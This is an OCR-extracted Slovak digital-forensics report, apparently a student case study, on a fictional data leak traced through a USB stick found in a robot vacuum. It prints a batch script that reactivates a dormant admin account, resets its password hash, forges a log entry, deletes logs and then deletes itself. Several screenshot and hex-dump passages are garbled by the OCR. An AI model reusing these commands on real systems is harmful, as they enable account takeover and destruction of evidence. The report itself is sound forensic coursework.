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Opis pripadu:

V spolo¢nosti Templine, ktora poskytuje IT rieSenia a spravu dat pre externé firmy, doslo k vdZznemu
bezpecnostnému incidentu. Firma sa Specializuje na poskytovanie sluzieb ako CRM systémy, sprava
databaz, kyberneticka bezpecnost a vyvoj softvéru pre klientov v celej Eurdpe.

Jedného dna servisny technik bol vyslany do jednej z kancelarii, aby skontroloval roboticky vysavac
Xiaomi, ktory nahlasil poruchu a prestal fungovat. Pri kontrole vysavaca si v§imol, Ze v jeho sacom
mechanizme bolo zaseknuté USB zariadenie. KedZe nebolo jasné, komu patri, bolo USB odovzdané IT
oddeleniu, ktoré zacalo preverovat jeho obsah.

Po prvotnej analyze sa ukazalo, Ze na USB boli uloZené citlivé idaje spolo¢nosti, vratane
kompletného zoznamu zakaznikov, data o cenach sluzieb. Forenzna analyza sa zamerala na analyzu
dat a identifikdciu zdroja Uniku.

Predmet vysetrovania:

Cielom vySetrovania bolo:

e Zistit, kto ziskal a preniesol citlivé Udaje z interného databazového systému.

e Zistit, akym spdsobom boli Gdaje ziskané, vratane pouzitého zariadenia a technik.

e Zhodnotit rozsah Uniku, vratane typov a mnozstva kompromitovanych dat.

e Overit, ¢i doslo k zneuzitiu neaktivneho administratorského Gctu.

e |dentifikovat Utoénika a navrhnit bezpeénostné opatrenia, ktoré by zabranili
podobnym incidentom v buducnosti.

Ocakdvany vysledok:

Cielom je ziskat relevantné digitalne dokazy, ktoré potvrdia alebo vyvrétia jednotlivé hypotézy o
Uniku dat.

Ak sa potvrdi zneutzitie interného uctu, je potrebné zdokumentovat metddy, rozsah kompromitacie a
navrhnut opatrenia na zvysenie bezpecénosti a prevenciu podobnych incidentov v budtcnosti.

Odborné prispevky:
e Duck Hunt: Memory Forensics of USB Attack Platforms

Tato Studia analyzuje forenzné artefakty v pamati vytvorené USB Gtokmi, konkrétne zariadeniami ako
Hak5's USB Rubber Ducky a Bash Bunny. Autori predstavuju ndstroje na extrakciu artefaktov z
pamate systémov Windows 10, vratane diagnostickych udalosti a DHCP logov.

Zdroj: https://dfrws.org/wp-content/uploads/2021/09/2021-usa-paper-20-
duck hunt memory forensics of usb attack platforms.pdf




e Database Memory Forensics: A Machine Learning Approach to Reverse Engineer
Query Activity

Tento prispevok sa zaobera analyzou pamate databazovych systémov s cielom ziskat informacie o
nedavno vykonanych dotazoch a prikazoch. PouZiva metddy strojového u€enia na rekonstrukciu
aktivity v databaze z paméatovych snapshotov.

Zdroj: https://dfrws.org/wp-
content/uploads/2023/03/Database memory forensics A machine learning approach to reverse
engineer _query activity.pdf

e Database Forensic Analysis Through Internal Structure Carving

Tato prdaca predstavuje metddy na forenznu analyzu databdz prostrednictvom extrakcie internych
Struktur z databazovych suborov. Zameriava sa na obnovu a analyzu dat z poskodenych alebo
neulplnych databazovych stborov.

Zdroj: https://dfrws.org/sites/default/files/session-files/2015 USA pres-
database forensic _analysis through internal structure carving.pdf

e In Search of Lost Data: A Study of Flash Sanitization Practices

Studia skima praktiky sanitacie dat na USB flash diskoch a poukazuje na rizika spojené s obnovou
udajov z nedostatocne vymazanych zariadeni. Zistilo sa, Ze viac ako 12% novych USB flash diskov
obsahovalo obnovitelné uzZivatelské data kvoli opatovnému poufZitiu Cipov.

Zdroj: https://dfrws.org/wp-content/uploads/2021/08/2021 EU pres-
in search of lost data a study of flash sanitization practices.pdf

e A Classification of SQL Injection Attacks and Countermeasures (2006)

Publikacia poskytuje komplexny prehlad o typoch SQL injection Utokov a metddach ich mitigacie.
Autori v nej rozlisuju niekolko hlavnych foriem Gtokov — napriklad tautology-based, union-based,
piggy-backed queries a stored procedure injection — pricom pre kazdy typ uvadzaju aj prislusné
priklady a dosledky.

Sucastou prace je aj prehlad odporucanych protiopatreni, ako su pouZitie prepared statements,
validdcia vstupov a analyza spravania sa aplikacii.

Studia vyznamne dopifia ramec tejto analyzy, kedZe skript usb_attack_hidden.bat vyuziva prikazy,
ktoré mozno zaradit medzi piggy-backed SQL injection — teda také, ktoré su pridavané k povodnym
dotazom s cielom manipulovat s databazou.

Praca sluzila ako teoretické vychodisko pri interpretacii zisteni a klasifikdcii incidentu ako zdmerného
SQL injection utoku s cielom ziskat a upravit citlivé udaje.

Zdroj: https://sites.cc.gatech.edu/home/orso/papers/halfond.viegas.orso.ISSSE06.pdf




Pouzity dataset:

Pouzil som dataset s velkostou 3,58 GB, ktory som nasiel na stranke http://roussev.net/t5/t5.html.
Obsahuje priblizne 6500 suborov rézneho typu.

Sucastou analyzy bol aj mnou vygenerovany log stbor servera obsahujlci zaznamy o pristupe k
databazovym udajom.

Typ analyzovanej digitdlnej stopy:

Forenzna analyza sa zamerala na digitalne stopy ziskané z:

e USB zariadenia najdeného v robotickom vysavaci, ktoré obsahovalo citlivé firemné data,
o Jogov databdzového servera, ktoré zaznamenali pristup k idajom v konkrétnych c¢asoch,
e zdznamov systémovej aktivity, ktoré pomohli urcit spdsob ziskania dat.

Cielom analyzy bolo identifikovat:

Kto mal pristup k citlivym ddajom,

Kedy a akym sp6sobom boli tieto Udaje ziskané,

Aké konkrétne data boli ulozené na USB zariadeni,

Ako sa USB zariadenie mohlo dostat do vysavaca.

Zadrzané a analyzované zariadenia:

USB zariadenie — najdené v robotickom vysavaci, obsahovalo subory citlivych firemnych dat bez
zndmok mazania.

Firemny databdzovy server — z ktorého boli Udaje stiahnuté; preverené boli logy, pristupové
zaznamy a systémové aktivity.

Pracovny notebook podozrivého zamestnanca — analyzovany na pritomnost nastrojov na
pripojenie k databaze, zdznamy SQL prikazov a potencialne skripty pouZité na exfiltraciu idajov.

5W+H Analyza incidentu

Kto?

Servisny technik nasiel USB zariadenie a nahlasil incident IT oddeleniu. Forenzna analyza zatial
naznacuje, Zze s Unikom Gdajov modze suvisiet interny zamestnanec — konkrétne sa preveruje aktivita
uctu martinezk, ktory bol v ¢ase incidentu zneuZzity.

Co?
Na USB zariadeni sa nachadzali nasledovné subory:

e Zoznam zdkaznikov (customers) — mend, adresy a kontaktné udaje firiem
e Cenové ponuky (pricing) — vratane obchodnych podmienok a cien

Vsetky Udaje boli na USB zariadeni pristupné a neboli zmazané, ¢o naznacuje, Ze Utocnik s nim dalej
pracoval nez ho nechtiac stratil.



Kedy?
Podla analyzy logov boli Udaje stiahnuté v dvoch vinach:

e 20. janudra 2025 o 04:06:04 — stiahnuta databaza customers
e 20. janudra 2025 o 18:14:12 — stiahnuta databaza pricing.

Kde?

Incident sa odohral na firemnom databazovom servery spolo¢nosti Templine. Udaje boli stiahnuté zo
servera, kde sa nachadzali citlivé informacie o zakaznikoch a obchodnych podmienkach. USB
zariadenie bolo ndjdené v robotickom vysavaci, ¢o naznacuje, Ze pachatel ho omylom stratil alebo ho
tam niekto iny skryl.

Preco?

Vysetrovanie naznacuje, Ze cielom bolo ziskat obchodne cenné informacie s tmyslom oslovit
zakaznikov spoloénosti Templine a ponutknut im vyhodnejsie sluzby. Udaje mohli byt vyuZité na
konkurencné alebo osobné ucely.

Metodoldgia a ziskané dbkazy

Na zaklade predbeZného vysetrovania boli identifikované a analyzované nasledujice digitalne
dokazy:

1. USB zariadenie Verbatim 8GB
e Ziskané z robotického vysavaca.
e Obsahovalo kompletné nezmazané udaje spolo¢nosti (zdkaznici, cenové ponuky, e-
maily).
2. Logy databdzového servera
e Obsahovali zaznamy o pristupoch k databazam customers a pricing.
e Logy boli exportované vo formate textu a boli analyzované na ¢asové zhody.
3. Pracovny notebook podozrivého zamestnanca
e Ziskany obraz RAM pamate.
e Prehladané retazce a aktivne procesy.
e Overovana pritomnost nastrojov na databazové pripojenie a potencidlnych skriptov.

Pouzité ndstroje na analyzu:

e FTKImager 4.7.1.2 — vytvorenie bitovej képie USB zariadenia

o Autopsy — forenznd analyza obsahu USB

e  HxD — hexadecimalna analyza siborov aj RAM dumpu

o Magnet RAM Capture — zachytenie a export obsahu RAM pamate

o DB Browser for SQLite - ndstroj na vizualnu analyzu a editaciu SQLite databaz



Hypotézy:

Hypotéza ¢. 1 — Neumyselné uloZenie firemnych dat na USB zariadenie
MozZné scenare:

e USB zariadenie mohlo byt pouZité na pracu s firemnymi sibormi bez Umyslu exfiltracie dat.

e Zamestnanec mohol omylom alebo z nedbanlivosti skopirovat citlivé stibory na USB
zariadenie bez vedomia bezpecnostného oddelenia.

e Dokazy by mohli ukazovat, Zze Udaje boli prenesené pocas beznej prace bez dalsej
manipulacie.

Hypotéza ¢. 2 — Externy utok prostrednictvom skodlivého USB
MozZné scenare:

e USB zariadenie mohlo byt Umyselne vlozené do robotického vysavaca osobou mimo
organizdcie.
e Cielom mohlo byt ziskat pristup do systému alebo preniest data bez zanechania digitalnej

stopy.
e Fyzické dbkazy, pristupové logy alebo pritomnost malvéru by mohli potvrdit tuto hypotézu.

Hypotéza ¢. 3 — ZneulZitie neaktivneho uctu administratora
MozZné scenare:

e Neaktivny Uéet spravcu systému (napr. martinezk) mohol byt nespravne zabezpeceny alebo
deaktivovany.

e Uto¢nik mohol tento et zneuZit na ziskanie pristupu k databazam a stiahnutie Gdajov.

e Zaznamy z logov mdzu obsahovat aktivitu tohto Uctu v ¢ase incidentu.

Zariadenie ¢. 1 — USB Verbatim 8GB

Fotodokumentdcia zariadenia:

Obrdzok 1 - Verbatim Store "n" Go PinStripe 8GB

Zdkladné technické parametre:

Parameter Hodnota

Nazov zariadenia: Verbatim Store 'n' Go PinStripe 8GB
Znacka: Verbatim

Kapacita uloziska: 8 GB

Rozhranie: UsB 2.0

Konektor: USB-A

Rychlost ¢itania: 10 MB/s



Rychlost zapisu: 4 MB/s

Sériové Cislo:

Akvizicia obrazu zariadenia:

YB08G4829044147TTL

e Nadstroj: AccessData FTK Imager 4.7.1.2

e Ndzov obrazu: usb-key-cierny.001

e Ziskané: 22.3.2025 0 10:24:55

e Dokoncené: 22.3.2025 0 10:33:12

e UloZené na ceste: C:\Users\student\Desktop\km\usb-key-cierny.001

e Sector count: 15 257 600
e Zdrojovd velkost: 7450 MB

Digitdlne odtlacky:

Algoritmus  Hodnota

MD5:
SHA1:

Ve
Vys

S|

ledky overenia obrazu:

Drive/Image Verify Results

Name

Sector count
MDS5 Hash
Computed hash
Report Hash
Verify result
SHA1 Hash
Computed hash
Report Hash
Verify result
Bad Blocks List
Bad block(s) in image

b62c5d33ecd73bdfObf73386chae26c2
af58beb815f37b266d8bedeach966de78118719f
rifikdcia:  Oba hashe zhodné (MATCH) — integrita obrazu potvrdena

Close

Obrdzok 2 - FTK Imager - usb-key-cierny.001



J&el zaistenia a analyzy:

Cielom akvizicie USB zariadenia bolo ziskat forenzny obraz jeho obsahu s ciefom:

e Identifikovat pritomnost citlivych firemnych dat (napr. zakaznici, cenové ponuky)
e Qverit, ako sa tieto Gdaje na zariadenie dostali

e Zabezpedit dokaz pre analyzu databdzového Uniku

Chain of Custody zaznam — Dokaz ¢. 001

usB ,
‘v 1 001 |Typ Obnoveny Nie S 8GB
Cislo: siboru: obraz | ¢ibor Velkost:
Popis pripadu: Unik citlivych tdajov cez USB najdené vo vysavaci

Nazov suboru:

usb-key-cierny.001

Miesto ziskania
digitalnej stopy:

Kancelaria ¢. 2 — servisny vysavaé

Poznamky: Ziadne poskodené bloky, obraz vytvoreny FTK Imager
Casové petiatky

Access: | 22.3.2025 10:24:55 | Modify: | 22.3.2025 10:33:12 | Change: 2%03332%5
Digitaln | MD5 b62c¢5d33ecd73bdf0bf73386¢cbae26¢2

y

odtlacok | SHA1 af58beb815f37b266d8bedeacb966de78118719f

(hes)

Casova peciatka

Akcia vykonana s digitalnou stopou

22.3.2025
10:24:55

Spustenie akvizicie USB cez FTK Imager

22.3.2025
10:33:12

Ukoncéenie akvizicie, ulozenie obrazu

22.3.2025
10:33:28

Verifikacia hashov — MD5 a SHAI

22.3.2025
10:35:01

Import obrazu do Autopsy 4.19.3 na analyzu




Zariadenie C. 2 — Firemny databazovy server

Fotodokumentdcia zariadenia:

111 .

Obrdzok 3 - Dell Technologies PowerEdge R740

Zdkladné technické parametre:

Parameter

Nazov zariadenia:

Vyrobca:
Model:

Operacny systém:

Procesor:

RAM:

Diskové pole
(RAID):
Pristupové porty:
Nainstalovany DB
systém:

Lokalita:

Hodnota

DB-SERVER-01

Dell Technologies

PowerEdge R740

Windows Server 2019 Standard (64-bit)
Intel Xeon Silver 4210, 2.2 GHz, 10-core
64 GB DDR4 ECC

2x 1TB SSD RAID 1
1433 (MS SQL), 22 (SSH), 3389 (RDP)
Microsoft SQL Server 2017

Serverovia — zabezpeceny priestor

Akvizicia databdzového logu:

e Nadstroj: DB Browser for SQLite 3.12.2

e Ndzov suboru: log_access.db

e Ziskané: 22.3. 20250 12:00

e Miesto uloZenia: C:\Program Files\SQLServer\logs\

e Exportované do: C:\Users\student\Desktop\km\log_access.db

e Formdt: SQLite databdza (.db)
e Velkost: 248 KB

Digitdlne odtlacky:
Algoritmus  Hodnota
MD5: 8f43e4d42240c358638f946c4d0f2331
SHA-1: f1a3c9f92861d967e2fd2alc8742f5b3abedcbe2
Verifikdcia: ~ Oba hashe zhodné (MATCH) — integrita logu potvrdena

Uéel zaistenia a analyzy:

Cielom akvizicie logu databazového servera bolo:



e  Zistit, kto a kedy pristupoval k databazam customers a pricing
e Vyhodnotit, ¢i bol pouzity neaktivny icet martinezk
e Korelovat ¢asové peciatky s inymi udalostami (napr. USB prenos)

Chain of Custody — D6kaz €. 002

Cislo: 002 T}Ip SQL Log anoveny Nie Velkost: 248 KB
suboru: stbor:
Popis pripadu: Zaznam pristupov k databazam spoloénosti Templine

Nazov suboru:

log_access.db

Miesto ziskania
digitalnej stopy:

Serveroviia v budove spolocnosti Templine

Poznamky:

Exportovany subor pristupového logu k databazam

Casové peciatky

Access: | 2025-01-20 04:06:04 | Modify: |2025-01-20 18:14:12 | Change:

2025-01-20
18:14:15

Digitdln | MDS5

8f43e4d42240c3586381946c4d0f2331

y
odtlacok | SHA-1
(hes)

f1a3¢c9192861d967e2fd2alc8742f5b3abedcoe2

Casova peciatka

Akcia vykonana s digitalnou stopou

22.3.202512:00

Export databazového logu zo servera

22.3.2025 12:05

Overenie integrity logu cez hash (MD5, SHA-256)

22.3.202512:10

Otvorenie logu v DB Browser for SQLite

22.3.2025 12:25

Export relevantnych zdznamov pre analyzu




Zariadenie C. 3 — Pracovny notebook podozrivého zamestnanca
Fotodokumentdcia zariadenia:

Zdkladné technické parametre:

Parameter Hodnota

Nazov zariadenia: NB-ORIESIKO1

Vyrobca: Lenovo

Model: ThinkPad T480

Operacny systém: Windows 10 Pro (64-bit)

Procesor: Intel Core i5-8350U, 1.7 GHz, 4-core

RAM: 16 GB DDR4

UloZisko: 512 GB SSD

dletove. Ethernet + Wi-Fi

pripojenie:

Lokalita: Kanceldria 3B — zamestnanec Oriesik
Akvizicia pamdte RAM:

e Ndstroj: Magnet RAM Capture

o Ziskané: 22.3. 20250 13:40

o  Vystupny subor: 20250322 _kmz.raw

e Velkost dumpu: 16 GB

e UloZenie: C:\Users\student\Desktop\km\20250322_ kmz.raw

e PouZitd analyza: HxD — hexadecimalne prehladanie; hladanie vyrazov start.bat, sgl injection,

cmd ...
Digitdlne odtlacky:
Algoritmus  Hodnota
MD5: f91c3d835fe9ec2clab3b345621cd44f
SHA-1: ab61ef245e88de5c93876c211827bd705bfbfd4f

Verifikdcia: ~ Oba hashe zhodné (MATCH) — integrita logu potvrdena
Uéel zaistenia a analyzy:

RAM dump bol ziskany za ucelom:

e Detekcie zvyskov aktivnych SQL pripojeni a spustenych ndstrojov
e Qverenia pritomnosti skriptov alebo spustenych batch siborov (start.bat)



e Identifikacie forenzne zaujimavych vyrazov ako sql injection, password, dump

Chain of Custody — D6kaz ¢. 003

RAM ,
“ 1 003 Typ Obnoveny Nie o g 16 GB
Cislo: siboru: dump | sibor- Velkost:
Popis pripadu: Forenzna akvizicia pamédte RAM z notebooku podozrivého
Nazov suboru: 20250322 kmz.raw

Miesto ziskania

P Pracovny notebook NB-ORIESIKO01
digitalnej stopy:

Poznamky: RAM obsahovala vyrazy poukazujice na SQL pracu a skripty
Casové peciatky
Access: | 2025-03-22 13:40:00 | Modify: |2025-03-22 13:42:30 | Change: 2?25423(;(2)2
Digitdln | MD5 f91c3d835fe9ec2c1ab3b345621cd44f
y
odtlacok | SHA-1 ab61ef245e88de5c93876c211827bd705bfbfd4f
(hes)
Casova petiatka Akcia vykonana s digitalnou stopou
22.3.202513:40 Zaciatok akvizicie RAM pamite pomocou Magnet RAM Capture
22.3.202513:43 Dokoncenie akvizicie, uloZzenie dumpu
22.3.202513:45 Overenie hashov — MDS5 a SHAI
22.3.2025 14:00 Otvorenie RAM dumpu v HxD, analyza vyrazov

Analyza néalezov podla hypotéz
Analyza zariadenia ¢. 1 — USB kluc¢ Verbatim
Po zaisteni USB zariadenia, ktoré bolo nahodne najdené v robotickom vysavaci v priestoroch

spolo¢nosti Templine, bola vykonana forenzna akvizicia a naslednd analyza jeho obsahu. USB bolo
podozrivé z moznej suvislosti s Unikom firemnych Udajov.



Predbeznd analyza

Pomocou nastrojov FTK Imager a Autopsy bol vytvoreny bitovy obraz zariadenia. UZ pri prvotnom
prehlade bolo zistené, Ze USB obsahuje viacero databazovych suborov s priponou *.db, ¢o vyvolalo
okamzité podozrenie, ze mohlo dojst k stiahnutiu internych databaz spolo¢nosti.

Nazvy ako customers.db, pricing.db i users.db ich struktira naznadovala, ze m6zu obsahovat
tabulkové Udaje alebo citlivy obsah — typicky pre SQL databazy.

Vzhladom na podozrivy vyskyt *.db suborov bolo rozhodnuté:

e overit ich Struktiru a obsah
e vyhladat kltcové vyrazy, ktoré by mohli suvisiet s citlivymi idajmi, alebo so spésobom ich
ziskania (napr. sql, customers, dump, SELECT)

Uz pocas prvotného vyhladavania pomocou Autopsy bol identifikovany subor

Table  Thumbnail

<

1 Results

‘ Save Table 25 CSV

| = Name S C 0 Modified Time Change Time Access Time Crested Time Size Flags(Dir)  Flags(Meta)  Known Location MDSHash  SHA-256Hash M
B ush attack hiddenbat | | | [2025-03-16 115910 SEC [0000-00-00.00:00:00 |2025-03-21 000000 SEC [2025-03-21 2028:34SEC [595 | Allocated |Allocated | unknown | img_usb-key-cierny.001/vol vol2/ush attack hidden.] | | |

+: System Maintenance Script - Oriesikp
myzql -u root -pPASSWORD -D company_dbs -& "UPDATE users SET i_active = TRUE, password_hash = 'd033e222e348aeh5560Fc21402ec35050c4da007 WHERE username = 'martinezk'”
mysql -u root -pPASSWORD -D company_db -¢ "INSERTINTO security_logs (timestamp, action, user) VALUES (NOW(), ‘System maintenance task completed, ‘admin')"

mysql -u root -pPASSWORD -D company_db -e " DELETE FROM logs WHERE timestamp < '2024-08-01 00:00:00'"

mysql -u root -pPASSWORD -D company_db -e 'DELETE FROM logs WHERE user IN ('testuser1’, 'old_admin');"

del "%-f0"

Hex Text File Metadata Annotations
Strings

Page: Tof I FPage Goto Page: Script: Latin - Basic v
@echo off

Obrdzok 4 - Identifikovany subor usb_attack _hidden.bat

Obsah skriptu:

mysql -u root -pPASSWORD -D company_db -e "UPDATE users SET is active = TRUE,
password hash = 'd@33e22ae348aeb5660fc2140aec35850c4da997' WHERE username =
"martinezk’;"

mysql -u root -pPASSWORD -D company db -e "INSERT INTO security logs
(timestamp, action, user) VALUES (NOW(), 'System maintenance task completed’,
"admin');"




mysql -u root -pPASSWORD -D company_db -e "DELETE FROM logs WHERE timestamp <
'2024-08-01 00:00:00' ;"

mysgl -u root -pPASSWORD -D company_db -e "DELETE FROM logs WHERE user IN
("testuserl’, 'old admin');"

"%~F0"

Vyhodnotenie:

Skript jasne ukazuje, ze jeho ucelom je:

e aktivovat pouzivatela martinezk a zmenit mu heslo

e zapisat falo$ny zaznam do logu (krytie stopy)

e vymazat starSie logy a logy konkrétnych pouZivatelov
® na zaver sa skript sdm zmaze (del "%~f0")

Toto su typické crty Gtoku pomocou SQL injection alebo nepriameho skriptu, ktory manipuluje
databazu bez vedomia systému.

Analyza obsahu databdzovych stborov

Po zisteni viacerych sdborov s priponou .db bolo rozhodnuté vykonat cielend analyzu tychto siborov
pomocou nastroja Autopsy, zameranu na identifikaciu Struktdrovanych databazovych tabuliek a
pritomnost potencialne citlivych Gdajov.

Vyhladdvanie a filtrdcia

Vzhladom na podozrenie, Ze by USB kli¢ mohol obsahovat stiahnuté data z interného systému, boli
prehladdvané databazové subory pomocou standardnych kltcovych slov ako napriklad:

customers, users, pricing, password, SELECT, INSERT, update, dump, export
Pri analyze boli identifikované a spracované nasledovné .db subory:

Nazov databazy Popis obsahu

Obsahoval tabulku so zoznamom zakaznikov vratane mena, firmy a
kontaktnych udajov

Obsahoval tabulky s cennikmi, ndzvami produktov/sluzieb a ich internymi
cenami

Obsahoval tabulku pouzivatelov vratane hashovanych hesiel, roli a dat
posledného prihlasenia

customers.db
pricing.db

users.db



Vynatok z databdzy users.db

Listing A

Databases 222 Results
Table  Thumbnail

Save Table a5 CSV
Name S € 0 Modified Time Change Time Access Time Crested Time Size Flags(Di)  Flags(Meta) ~ Known  Location MD5 Hash |
log_access.db ¢ 20 d unknown o b ~
customers.db
pricing.db
users.db
01-12.db
01-12.db
01-14.db
0A-01.db
0A-02.db
0A-03.db
0A-04.db
0A-05.db
0B-01.db
08-02.db

o oo oo oo oo o

o Ak
<

Hex Text Application File Metadata “rte Annotations Other Occurrences

Table fusers {v|  Slentries Page 1 of 1 [N Export to CSV

userid  fistname lastname  usermame  email role permissions password_hash last_login is_octive

rier

Obrdzok 5 - Identifikovany subor users.db

Pri analyze suiboru users.db boli pomocou nastroja Autopsy extrahované data zo systému
autentifikacie pouZivatelov.
Z tabulky users bolo identifikovanych 52 zaznamov, pricom kazdy obsahoval:

e Meno a priezvisko pouZivatela

e Prihlasovacie meno (username)

e E-mailova adresa

e  Pristupové roly a opravnenia

e Hash hesla (pravdepodobne SHA-256 alebo podobny algoritmus)
e Datum posledného prihlasenia

e Stav Uctu (aktivny/neaktivny)

Tato Struktidra odpoveda internému autentifikacnému systému spolocnosti, pricom niektoré ucty
maju plné prava spravy systémov, ¢o by mohlo viest k eskalacii opravneni.

Dopad na vysSetrovanie

Ziskanim tohto suboru sa vyrazne posilnilo podozrenie, Ze ide o interny Unik dat — najma z dévodu
pritomnosti:

e Admin Uctov a citlivych roli (napr. admin, IT_support)

e Realnych pouZivatelskych Udajov vratane e-mailov a opravneni

e Hashovanych hesiel, ktoré mézu byt cielom brute-force Utokov

e Ziznamov o poslednej aktivite Uétov, ktoré umoziuju identifikovat podozrivé ¢asové zhody

Zistenia z bat suboru usb_attack _hidden.bat

Na rovnakom USB zariadeni sa nachddzal aj skript usb_attack_hidden.bat, ktory obsahuje SQL prikazy
na aktivaciu neaktivneho uctu (martinezk), manipulaciu so zdznamami v databdze a mazanie logov.
Toto predstavuje priamy dékaz pokusu o:



e Obidenie autentifikacie
e Zmazanie digitalnych stop
e Pripravenu exfiltraciu dat

Analyza suboru log_access.db zo zariadenie &. 2 — Firemny databdzovy server

Po najdeni skriptu usb_attack hidden.bat na USB zariadeni vzniklo podozrenie, Ze tento skript mohol
byt aktivne pouZity na databazovom serveri spolo¢nosti Templine. Na overenie tejto hypotézy bol

Ve

UZi ako evidencia pristupov k databaze.

analyzovany subor log_access.db, ktory s
Ndstroje pouzité pri analyze:
DB Browser for SQLite — prehliadanie Struktury databdzy a vypis obsahu tabuliek

Klucové zistenia:

V log subore boli identifikované zaznamy, ktoré presne koreSponduju so znenim skriptu
usb_attack_hidden.bat.

FATLURE

success

success

FAILURE Pex:

sezEcT o success
UBDATE uccs ) ucts SET s k-5 W uc success
DELETE  logs ETE FROM logs WHE z IN ('testuserl’, success

UBDATE  users - 2 s user ezt success

UEDATE  users ATE users SE e success
s

success
success
success,
success,

DELETE  logs 2 o ac success

UEDATE  users ATE users ogc2140 o 7 usernans nezkt: success
NsERT security_logs (cimestamp, act ex) VALUES , 'SQL Injection - account activation', 'oriesikp'): success
sewect = me EF city='Bravislava’ success
UeDATE ed’ WHERE idm184; success,
seLect = FATLURE
7 uepate x HERE 1d = 941 success,
UEDATE A 1a = 22; success,
success
success
FAILURE
success,
success,

UPDATE RTE orde & FAILURE

INSERT  cus N co: , column2) V2 aluel’, 'value2'); FAILURE

Obrdzok 6 - DB Browser for SQLite - log_access.db
Kritické prikazy zachytené v logu:

users password hash="..." username="martinezk"';
users is_active=TRUE username="'martinezk"';

security logs (...) ( (), 'SQL Injection - account

activation', 'oriesikp');
logs user="oriesikp"';
logs content '%SQL injection%';

Pristupové udaje:

e Pouzivatel’ oriesikp
e |P adresa: 80.2.241.176
e Datum a cas utoku: 12. 8. 2024 0 22:55:00



Pokus o zahladenie stop

Analyza ukazala, Ze Gtocnik sa snazil odstranit dokazy o svojich aktivitach. Boli zaznamenané pokusy o
zmazanie:

e vlastnych zaznamov (DELETE FROM logs WHERE user='oriesikp';)
e zdznamov obsahujucich frazu SQL injection (DELETE FROM logs WHERE content LIKE '%SQL
injection%';)

Tieto zdznamy sa vSak v logu zachovali, ¢o naznacuje:

e Je prikaz sice prebehol, ale ndzov retazca nebol vo vietkych riadkoch exaktne pritomny
e zaznam bol vytvoreny po operacii, a teda sa log nestihol zmazat, alebo
e logovanie prebehlo nezavisle, a Utocnik tento aspekt podcenil.

Dopad na vysSetrovanie

Ziskané dokazy vyrazne podporili hypotézu €. 3 (zneuZitie neaktivneho Uc¢tu administratora) a zdroven
prepojili jednotlivé zariadenia:

o  Skript na USB (zariadenie €. 1) obsahuje prikazy identické s tymi, ktoré boli vykonané na
serveri.

e Zaznamy v log_access.db (zariadenie €. 2) preukazali pristup a manipulaciu konkrétnym
pouzivatelom oriesikp.

e Na zaklade tychto dokazov bol zaisteny pracovny notebook (zariadenie ¢. 3), kde sa
predpoklada priprava alebo testovanie tohto utoku.

Analyza zariadenia ¢. 3 — Pracovny notebook zamestnanca

Na zadklade predchadzajucich dékazov ziskanych z USB zariadenia (skript usb_attack_hidden.bat) a
logov servera, ktoré odhalili podozrivu aktivitu pouZzivatela Petra OrieSika, bol zaisteny jeho
pracovny notebook na dalsiu analyzu. Cielom bolo preverit, ¢i sa na zariadeni nachadzaju dékazy o
priprave alebo testovani SQL utoku, pripadne o pokuse o exfiltraciu idajov.

Z notebooku bol pomocou nastroja Magnet RAM Capture odobraty RAM dump, ktory bol ndsledne
analyzovany v nastroji HxD.

Vysledky analyzy:

Vyhladavanie retazcov v pamiti odhalilo opakované vyskyty vyrazov slvisiacich s planovanim SQL
utoku:

e sqlinjection

e how to sql inject

e how to make sql injection in .bat
o delete from logs

e start.bat

e structure of sql table



Vynatok z RAM dumpu:

Manuélnou analyzou pomocou HxD boli identifikované viaceré vyskyty danych retazcov. Tieto
vysledky jasne poukazuju na to, Ze pouZzivatel si pred incidentom aktivne vyhladaval informdcie o
spbésoboch utoku na SQL databazu, vratane moznosti ich implementacie pomocou .bat suborov.

0 HxD - [CAUsers\student\Desktop\km\20250322.km.raw]

4 File Edit Search

2-k|BY

) 20250322 km.raw

View Analysis Tools Window Help

Jv 2216 | Windows (ANS) Ve M

Offset(n) 00 01 02 03 04 05 06 07 08 03 OA OB OC OD OE OF Decoded text

7DBSE46CO 80
7DBSE46D0 60
7DBSE4EE0 00
7DBSE4EF0 AD
7DBSE4700 ES
7DBSE4710 ES
7DBSE4720 ES
7DBSES730 ES
7DBSE4740 ES
7D8SE47S0 ES
7D8SE4760 ES
7D8sE4770 ES
7DBSE4780
708524750
7DBSE4TA
7DBSE730
7DBSE47CO
708524700
7DBSE47EQ

7DBSE48A0
7DBSEE80
7DBSE42CO
7D85E48D0

IDRSESREA_FS FS FS FS ES
Checksum  Search (15 hits)

synsay

Offset
14148C788

SFECA26A0
66B17D500
6F2IFISED
7146DE160
730714060
730714680
- 7DB5E4TES

Offset(h): TDBSEATSS

0 60 00 00 o

1
prEtetitieteeeety
pEEEEEEEEEEEEEEEY
ii: 11111
111111§1111§1181
111§118111981181
pEEEEEEESEEEEREEY
111113§131383351

FESEEEEERETEESY

Tttty
1110111

ii: 111
1§1111§111111181
prEtTTtititety
prttttitittittety
11111 115
111§11§111111151
FrEtetatittttety
pEEEEEEEEEEEEREEY
111111 1111

prEtteititiiety
$999999919949448

Excerpt (hex)
ESES ES ESES £5 £5 £5.01 000000380000 0073 71 6C 20 69 68 6A 65 63 74 69 6F 6€ 20 76 20
ESESES ESES ES ESES 01000000 78,0000 0073 71 6C 20 69 6F 6A 65 63 74 69 6F 6 20 76 20
ESES ES ES ES £5 E5.£5 01000000 78,0000 0073 71 6C 20 69 6 6A 65 63 74 69 6F 6€ 20 76 20
ESES £5 ES E5 £5 £5 €5 01000000 38,0000 0073 71 6C 20 69 6€ 6A 65 63 74 69 6F 6 20 76 20
00287 A4 2802 00 00 B8 1E 85 40 CD CC EC BF 73 71 6C 20 69 G 6A 65 63 74 69 6F 6E 20 76 20
73716C 74169 6 6E20 76 20
ESES E5 £5 E5 £5 5 £5 €5 £5 €5 €5 £5 €5 £5 £5 73 71 6C 20 69 6€ 6A 65 63 74 69 6F 6£ 2076 20
6963 65 2F 44 65 6C 65 7465 45 6469 74 00 00 73 71 6C 20 69 6E 6A 65 63 74 69 6F 6€ 20 76 20
73716C 7469 6F 6E20 76 20
S ES E5 ES E5 £5 5 £5 £5 £5 £5 £5 £5 £5 £5 £5 73 71 6C 20 69 6F 6A 65 63 74 60 6F 6£ 20 76 20
00287 A4 2802 000088 1€ 85 40 CD CC EC BF 73 71 6C 20 69 6E 6A 65 63 74 69 6F 6 20 76 20
ESES E5 S E5 E5 ES E5 E5 E5 E5 E5 ESES £5 £5 73 71 6C 20 69 6F 6A 65 63 74 69 6F 6E 20 76 20
